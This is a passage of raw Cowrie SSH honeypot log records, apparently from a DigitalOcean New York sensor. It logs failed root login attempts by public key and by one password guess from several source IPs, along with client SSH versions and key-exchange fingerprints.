{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1a:30:91:d5:7d:84:ec:74:36:15:6c:33:e5:5c:e3:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8ftZqWkf0g69Av89rm0d3qa4fD9QIvTttOWh7/3C5Vi3uaxPIBhCCzmAe7LRnpOvdstyo8w1gWYSl1U1fQ1JMfIHmX9bkb6lYngi3uvdth5ZpzwUwKWDi0NafUcabOjoCERntxfYDHEFsfcSxETPpzSzufGcyHRCr1jLvPfqnLKDBtUDdnsi1r6L5z/GPwvVNDOCG9KuerKVzQh0Z3nAREuPpmeYuvNE1ETaQTWZ45l2PH9J+/74Q1lHPGWE+WnBrybFUXJDjCSmkonzzCP+or9NOIUuwPS8JiNpU+vFm9aZmqldvDVWtpdqkUqh9RA9vpecBFi0kz4S8YB9ItzAd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:45:49.243857Z","src_ip":"51.79.99.235","session":"429920857ab4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"73:b7:ba:04:ce:d0:4a:59:d1:bf:52:4e:0a:f2:85:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDABYNZhAlxkWedeL+0V6MXTGe7CVse1V6bsmR0kwhORe3m7rHnXeNzJBSWdUBpXHLLFDrvLlFQON8esUQlZR3BLJGcBdpMgWh/nIKnmrknTfgTH0mREx5saOP+AVKQCykv1ZyM8Wp+rsPKs50Od34hl+ga0zwNMnsL6UL6jtdBfOZ5xNrjVcnPYH9NiuvLGooWD81qjm5AOeCsV0L8Hq7c5SQcshPdZEANnf5uVxHNM6hJj9W6RMalbnCE9xT7bn3CBOInH64v+A3ArY1xuELbybYQlyrzFkdQmpcGzLtterVx6p/NEttMlgKMqPz5idpGVHUL/FA1+nTPUV+ofrz+7A1tPnqfWG3DG4npaMQRBlV9MTHYhsuggV+JuQs5EexhJ+IrcsoftaN3yhyFlZ80AGaWQHRNt7d0z0da81S8USMR05ZexhYbjTrvIDOUnDAVzEn88t2VHxxoyXqOvxNLkPE16rvQmKE5f5XN4nlmWkduPLTjmvfq2ylCM5YK0gi5wUDmOGr+f6O70FnSH5KlRkKsth9fAC/EaJysMNdEbpjFLTXn8aD4Ye7VU7xE2+ummrmOI9HrU6/despEcpExJXrsm37zgOIMkQaEzc+V6ubZuaT9EL0PlGsHQ3DRG2q8vhKtl25slaaPks3vnib6H+i9EO16gcapKORbB7VGOQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 73:b7:ba:04:ce:d0:4a:59:d1:bf:52:4e:0a:f2:85:37","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:45:49.264215Z","src_ip":"51.79.99.235","session":"429920857ab4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"73:b7:ba:04:ce:d0:4a:59:d1:bf:52:4e:0a:f2:85:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDABYNZhAlxkWedeL+0V6MXTGe7CVse1V6bsmR0kwhORe3m7rHnXeNzJBSWdUBpXHLLFDrvLlFQON8esUQlZR3BLJGcBdpMgWh/nIKnmrknTfgTH0mREx5saOP+AVKQCykv1ZyM8Wp+rsPKs50Od34hl+ga0zwNMnsL6UL6jtdBfOZ5xNrjVcnPYH9NiuvLGooWD81qjm5AOeCsV0L8Hq7c5SQcshPdZEANnf5uVxHNM6hJj9W6RMalbnCE9xT7bn3CBOInH64v+A3ArY1xuELbybYQlyrzFkdQmpcGzLtterVx6p/NEttMlgKMqPz5idpGVHUL/FA1+nTPUV+ofrz+7A1tPnqfWG3DG4npaMQRBlV9MTHYhsuggV+JuQs5EexhJ+IrcsoftaN3yhyFlZ80AGaWQHRNt7d0z0da81S8USMR05ZexhYbjTrvIDOUnDAVzEn88t2VHxxoyXqOvxNLkPE16rvQmKE5f5XN4nlmWkduPLTjmvfq2ylCM5YK0gi5wUDmOGr+f6O70FnSH5KlRkKsth9fAC/EaJysMNdEbpjFLTXn8aD4Ye7VU7xE2+ummrmOI9HrU6/despEcpExJXrsm37zgOIMkQaEzc+V6ubZuaT9EL0PlGsHQ3DRG2q8vhKtl25slaaPks3vnib6H+i9EO16gcapKORbB7VGOQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:45:49.269726Z","src_ip":"51.79.99.235","session":"429920857ab4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ca:f3:9f:76:17:c6:bf:98:66:90:fb:f1:37:a8:09:4d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuBY3okYVanY27mqsXajE9IFCXttxAcbscwNtJEypAaSSo/zur1ZUYXzeFv9qpp4TL90E6nvNwPDKPbchpmxCpAlb3+dzpynBuiAt+C0zvmJPQgd9wmozswgBzx60YNfHh8wxDBLuJOKrkF9lVDm681cOPjtEBDd7laE32ylFeMm0DDqTWeDqBt8BfElg+wnQg9G3riououQHFIFO437NYqHLrPyrCtNx6TDDy9nhvySKnQV5J3abVQCcq5FEkme2aiWlTmqq6+AUsczF8srjrFJr8w/SiDDjF3UJOPk8XApjMFpDXeuMqbvvGRXbaqWk8Qz5Uw9B8KB2ZlL1VxdUxw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ca:f3:9f:76:17:c6:bf:98:66:90:fb:f1:37:a8:09:4d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:45:49.289939Z","src_ip":"51.79.99.235","session":"429920857ab4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ca:f3:9f:76:17:c6:bf:98:66:90:fb:f1:37:a8:09:4d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuBY3okYVanY27mqsXajE9IFCXttxAcbscwNtJEypAaSSo/zur1ZUYXzeFv9qpp4TL90E6nvNwPDKPbchpmxCpAlb3+dzpynBuiAt+C0zvmJPQgd9wmozswgBzx60YNfHh8wxDBLuJOKrkF9lVDm681cOPjtEBDd7laE32ylFeMm0DDqTWeDqBt8BfElg+wnQg9G3riououQHFIFO437NYqHLrPyrCtNx6TDDy9nhvySKnQV5J3abVQCcq5FEkme2aiWlTmqq6+AUsczF8srjrFJr8w/SiDDjF3UJOPk8XApjMFpDXeuMqbvvGRXbaqWk8Qz5Uw9B8KB2ZlL1VxdUxw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:45:49.293857Z","src_ip":"51.79.99.235","session":"429920857ab4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b2:fc:13:65:1b:ce:44:a1:70:2a:3b:4a:46:d0:6c:4f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6Wiw400wQPdEUdrEevjBsA6XWi3/bu4HXO4yX6MiZ4RJTrOf3KPcDw8k58EZdPChj1KcyqXhiH1NYwG+xVBIfmW72VcGEuiGVNYt0IYLB07VPev6t4XKc0BpcysTVoTa1+FRpcTP/6dGZlekUtIXbHPuOe7BfFYUF2eN7f8SaSWrbQaUv8AAGnVYbFGA+Cj0H082ZlYstH2FeYNGvS+f3Mu62FGpSdI2FIInxVVfFpjviiuri/KGyYoMCORLfRDZYhO1RnIMadCdURnAkqKzsXpsIfC50LZkqwM7XxM3rjCJqHkZ46WV9Fyl62uQsBU6zW2XfUFFoVQOcAV8wDM1X","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b2:fc:13:65:1b:ce:44:a1:70:2a:3b:4a:46:d0:6c:4f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:45:49.312574Z","src_ip":"51.79.99.235","session":"429920857ab4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b2:fc:13:65:1b:ce:44:a1:70:2a:3b:4a:46:d0:6c:4f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6Wiw400wQPdEUdrEevjBsA6XWi3/bu4HXO4yX6MiZ4RJTrOf3KPcDw8k58EZdPChj1KcyqXhiH1NYwG+xVBIfmW72VcGEuiGVNYt0IYLB07VPev6t4XKc0BpcysTVoTa1+FRpcTP/6dGZlekUtIXbHPuOe7BfFYUF2eN7f8SaSWrbQaUv8AAGnVYbFGA+Cj0H082ZlYstH2FeYNGvS+f3Mu62FGpSdI2FIInxVVfFpjviiuri/KGyYoMCORLfRDZYhO1RnIMadCdURnAkqKzsXpsIfC50LZkqwM7XxM3rjCJqHkZ46WV9Fyl62uQsBU6zW2XfUFFoVQOcAV8wDM1X","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:45:49.316949Z","src_ip":"51.79.99.235","session":"429920857ab4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:45:49.338054Z","src_ip":"51.79.99.235","session":"429920857ab4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":41410,"dst_ip":"159.203.135.109","dst_port":22,"session":"b58509197c76","protocol":"ssh","message":"New connection: 103.15.222.183:41410 (159.203.135.109:22) [session: b58509197c76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:46:37.175286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:46:37.179209Z","src_ip":"103.15.222.183","session":"b58509197c76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:46:37.426460Z","src_ip":"103.15.222.183","session":"b58509197c76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazxcv","message":"login attempt [root/qazxcv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:46:38.167840Z","src_ip":"103.15.222.183","session":"b58509197c76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:46:39.417798Z","src_ip":"103.15.222.183","session":"b58509197c76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.45.13.19","src_port":41104,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9caaa8eb778","protocol":"ssh","message":"New connection: 89.45.13.19:41104 (10.17.0.5:22) [session: d9caaa8eb778]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:46:43.228730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:46:43.233896Z","src_ip":"89.45.13.19","session":"d9caaa8eb778","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:46:43.378721Z","src_ip":"89.45.13.19","session":"d9caaa8eb778","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"46:c1:b4:8f:c5:e1:fe:5c:85:fd:bf:42:3b:f3:b4:4d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCy7iNrSH4DgjcDeACFkMicE12tc+bZ9miTq3FA0U+Hg4iSMnEuSgoi6dcVHK6q/vdPRD3gr9uvOXMv5kOkopdTqPOiRSSUhIZ7/RuSoMqrzC+Amhw0xn2lxfe10UwQtAdSIDi55iCtN5qZRqSe64qZiQkO7B84KKBTtNpW8BkvyWRTvX5EO1xEJYKolrWTjGSN411Akx2cqR5XCIdcenpM86eR28yVuUt/zdeKv62TogZSjcP6s6b+7M6gqlRDIx0HmIqC5WVwSyafMZJjCqCQVRu3h7Kl2iKnwzqvu6j+egfGSXWggGlbS1vtku2s6VMQg3Fd3f0uiz/LeU7aCz1L","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 46:c1:b4:8f:c5:e1:fe:5c:85:fd:bf:42:3b:f3:b4:4d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:46:44.010706Z","src_ip":"89.45.13.19","session":"d9caaa8eb778","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"46:c1:b4:8f:c5:e1:fe:5c:85:fd:bf:42:3b:f3:b4:4d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCy7iNrSH4DgjcDeACFkMicE12tc+bZ9miTq3FA0U+Hg4iSMnEuSgoi6dcVHK6q/vdPRD3gr9uvOXMv5kOkopdTqPOiRSSUhIZ7/RuSoMqrzC+Amhw0xn2lxfe10UwQtAdSIDi55iCtN5qZRqSe64qZiQkO7B84KKBTtNpW8BkvyWRTvX5EO1xEJYKolrWTjGSN411Akx2cqR5XCIdcenpM86eR28yVuUt/zdeKv62TogZSjcP6s6b+7M6gqlRDIx0HmIqC5WVwSyafMZJjCqCQVRu3h7Kl2iKnwzqvu6j+egfGSXWggGlbS1vtku2s6VMQg3Fd3f0uiz/LeU7aCz1L","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:46:44.014300Z","src_ip":"89.45.13.19","session":"d9caaa8eb778","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e0:8c:f2:6d:54:20:ef:37:a7:2e:78:1f:92:b3:f0:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDE5DvfxX2tQxKp/dxQf58eppdM1LSq39iGikgwkTZAU9YuYnY1h7B1hygoIoEHIy0Ld1hsGgolPzV5WRiky1mO6otonsWWY/m7D6/2eA8/4e2JX6e8CJTxnUOSgWU87P1OEORqhKTDvOsSh2+4IUotS+yBBQVH4bwmclmMYaPZX8jGuix+d8SHZzg1HrdN90DlWWTxeJZeTtroS61uSN5E8D+zhGDynEV1xbDOzQ8fIeizSEYJ2aTwCyhJS+qcX5TNjQpOT+y8ka7chvFzhmd2he6edt8pTdWzn9FhLJbnPkPsqq8acNYqrfEAhqn0STOboWSQBCEOXxrNLjlG6QKNuk0IzAeiIGHCi/qvNSD5spztIyt/8rlEylm0j64q0bCOt+3uetGPHmLyi1aC6i1zkj57C7RELtk45iv0XHkTxZ1BQM50MbEMnuw+Bljrv3Rkp1pidr0dujOP2xawM+kWjRWGcULo0HIU89jktU/cdXOMVRozDuvB26IjTQlI9/eSEEDu6eVPU9uej9WP6yfLw8jtXTDh3F/2kr0N89dHFDzxamodi4mIqNBjKmbAJrL3mY4t16/hzIk38FmiDps+F++0bFf6nxX4kW01VrPHpUs5/zVap8OXqxty7/2IqGAZt0c0CIvFOFm54gHbatpymMr6AJqwKcnxn+a/C7NNkw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e0:8c:f2:6d:54:20:ef:37:a7:2e:78:1f:92:b3:f0:a9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:46:44.145171Z","src_ip":"89.45.13.19","session":"d9caaa8eb778","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e0:8c:f2:6d:54:20:ef:37:a7:2e:78:1f:92:b3:f0:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDE5DvfxX2tQxKp/dxQf58eppdM1LSq39iGikgwkTZAU9YuYnY1h7B1hygoIoEHIy0Ld1hsGgolPzV5WRiky1mO6otonsWWY/m7D6/2eA8/4e2JX6e8CJTxnUOSgWU87P1OEORqhKTDvOsSh2+4IUotS+yBBQVH4bwmclmMYaPZX8jGuix+d8SHZzg1HrdN90DlWWTxeJZeTtroS61uSN5E8D+zhGDynEV1xbDOzQ8fIeizSEYJ2aTwCyhJS+qcX5TNjQpOT+y8ka7chvFzhmd2he6edt8pTdWzn9FhLJbnPkPsqq8acNYqrfEAhqn0STOboWSQBCEOXxrNLjlG6QKNuk0IzAeiIGHCi/qvNSD5spztIyt/8rlEylm0j64q0bCOt+3uetGPHmLyi1aC6i1zkj57C7RELtk45iv0XHkTxZ1BQM50MbEMnuw+Bljrv3Rkp1pidr0dujOP2xawM+kWjRWGcULo0HIU89jktU/cdXOMVRozDuvB26IjTQlI9/eSEEDu6eVPU9uej9WP6yfLw8jtXTDh3F/2kr0N89dHFDzxamodi4mIqNBjKmbAJrL3mY4t16/hzIk38FmiDps+F++0bFf6nxX4kW01VrPHpUs5/zVap8OXqxty7/2IqGAZt0c0CIvFOFm54gHbatpymMr6AJqwKcnxn+a/C7NNkw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:46:44.149504Z","src_ip":"89.45.13.19","session":"d9caaa8eb778","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a0:12:69:6c:d0:a2:75:37:6d:6e:9a:4d:65:ac:ed:8e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC2miEYjrY49jKV0Iy7OuuDFGNUcJlmLw36kLE2ohW7nExjXkROyiGQEP+Aw0Yh7sDfVShoWq06rMLLkG+Pz97ZS9/NduuGnYfzhfSgUq/E0NWtM3LKtBUIO9+O6nbTvBBdA6BlfSpVP1ADfsB7tq2toKheiXwgS4+REoRnXOWz2EmFxr6ysannAdyF8qKi7Of6MWgI3XAoVMUh8R9yeccoVPIEcdLk2sA4m19b88uWxHbB+T+b1l7ByKCTuXyJv2JPwwiGhBvEDyTcXp85TQ2AbqmKfXJSqMH6sIqKs7FYIk277zydoJLGafyof16LKVVn0YIpV3xLF/tfKE2kkSEuBxpZmj/ZdRj8zQJb5wahyTYh5ZLMZtc/K4SZtJVlj2ZlMw0LE/V1K2OWNYd/TVq9Gt5tlecmraUK1mt85rWY4GHfXiOCBj6Og1sBDlyXgjO41KK1ZexUfUDHlAp8di4/YJ4D/2xk2rn7+twJlOJD5Zno5QE80f/amj2yPytl90C177ZNK4ivV9pq+sLeSO2qzD724BGIqniU2R5WTzCno4OqYVEIVqgZRVpf2Owh89NhDx9qCjixVwhGq+zj79DSut/bOm1thpiiAiblN+FjzAvTVvVFlX43beBRvXVP6J0DRxQVc84/7MX1eSXtVSlq9xrDTC6+ggoIC1PaV67C2Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a0:12:69:6c:d0:a2:75:37:6d:6e:9a:4d:65:ac:ed:8e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:46:44.281623Z","src_ip":"89.45.13.19","session":"d9caaa8eb778","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a0:12:69:6c:d0:a2:75:37:6d:6e:9a:4d:65:ac:ed:8e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC2miEYjrY49jKV0Iy7OuuDFGNUcJlmLw36kLE2ohW7nExjXkROyiGQEP+Aw0Yh7sDfVShoWq06rMLLkG+Pz97ZS9/NduuGnYfzhfSgUq/E0NWtM3LKtBUIO9+O6nbTvBBdA6BlfSpVP1ADfsB7tq2toKheiXwgS4+REoRnXOWz2EmFxr6ysannAdyF8qKi7Of6MWgI3XAoVMUh8R9yeccoVPIEcdLk2sA4m19b88uWxHbB+T+b1l7ByKCTuXyJv2JPwwiGhBvEDyTcXp85TQ2AbqmKfXJSqMH6sIqKs7FYIk277zydoJLGafyof16LKVVn0YIpV3xLF/tfKE2kkSEuBxpZmj/ZdRj8zQJb5wahyTYh5ZLMZtc/K4SZtJVlj2ZlMw0LE/V1K2OWNYd/TVq9Gt5tlecmraUK1mt85rWY4GHfXiOCBj6Og1sBDlyXgjO41KK1ZexUfUDHlAp8di4/YJ4D/2xk2rn7+twJlOJD5Zno5QE80f/amj2yPytl90C177ZNK4ivV9pq+sLeSO2qzD724BGIqniU2R5WTzCno4OqYVEIVqgZRVpf2Owh89NhDx9qCjixVwhGq+zj79DSut/bOm1thpiiAiblN+FjzAvTVvVFlX43beBRvXVP6J0DRxQVc84/7MX1eSXtVSlq9xrDTC6+ggoIC1PaV67C2Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:46:44.285345Z","src_ip":"89.45.13.19","session":"d9caaa8eb778","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8b:f8:f8:11:79:34:b1:70:16:2d:df:0f:86:84:81:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDB6ia8jlqwdEnVVSHzjevy9gtAlDxR4z+RzIw5c7099GuFNahsXY69h/4e37jaVZgrekEJKkBhP9iOzlF+yHqcPyVwpQPb4oqdvicvSu6XnWIet7qQ365iIOLvfk7eeEnieKyaCKoTImuPTTmk10RVCO2RTvHHF1EgIEnQG59jYz2xo8II2B5njhPxzz9YOanMek0LEF3nCy8jmnu62l0MX89dhUCTjZOGnnhauup9xCEt9H63MHct3llgTAWyIkwl/eCwbbcXFH0J/95+otF2lY064T0mdwPx3a+/SE/44sQHL339TB9X3OVSbbznsYZ18Sd8LkdwIanxIum4sx/1ueSEv/xHv69GJCUzqZU630MsKhEozCfGU4DIO1+TS5DvuPTdhjTbcxbdJC8GIYxaEglBF/tDpRnNKquFzTOjcoFKnZSxktBbNag41wLcErfUGvOF8SJWjoXQjFaywcEMkf0DbziSB7RzvIOsWK+9AXzfrqNJtZJII7G/m4npL2yKLBBPbSMD+RiZgx2n8M03nVi5E0CKvcKRXfbkohu8BrxP9414vaHy7qmYZqcAb6Wb+W/aMBdusyRgLmQGAklW/1VXEr/3mh/7MhWI0sF3MMSIB4qxo9ZQQQlsp3YBVaPuHcczhe9ls4YCNO5kpPu4uVZnLaUizPszJgkdNxgSeQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8b:f8:f8:11:79:34:b1:70:16:2d:df:0f:86:84:81:83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:46:44.417222Z","src_ip":"89.45.13.19","session":"d9caaa8eb778","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8b:f8:f8:11:79:34:b1:70:16:2d:df:0f:86:84:81:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDB6ia8jlqwdEnVVSHzjevy9gtAlDxR4z+RzIw5c7099GuFNahsXY69h/4e37jaVZgrekEJKkBhP9iOzlF+yHqcPyVwpQPb4oqdvicvSu6XnWIet7qQ365iIOLvfk7eeEnieKyaCKoTImuPTTmk10RVCO2RTvHHF1EgIEnQG59jYz2xo8II2B5njhPxzz9YOanMek0LEF3nCy8jmnu62l0MX89dhUCTjZOGnnhauup9xCEt9H63MHct3llgTAWyIkwl/eCwbbcXFH0J/95+otF2lY064T0mdwPx3a+/SE/44sQHL339TB9X3OVSbbznsYZ18Sd8LkdwIanxIum4sx/1ueSEv/xHv69GJCUzqZU630MsKhEozCfGU4DIO1+TS5DvuPTdhjTbcxbdJC8GIYxaEglBF/tDpRnNKquFzTOjcoFKnZSxktBbNag41wLcErfUGvOF8SJWjoXQjFaywcEMkf0DbziSB7RzvIOsWK+9AXzfrqNJtZJII7G/m4npL2yKLBBPbSMD+RiZgx2n8M03nVi5E0CKvcKRXfbkohu8BrxP9414vaHy7qmYZqcAb6Wb+W/aMBdusyRgLmQGAklW/1VXEr/3mh/7MhWI0sF3MMSIB4qxo9ZQQQlsp3YBVaPuHcczhe9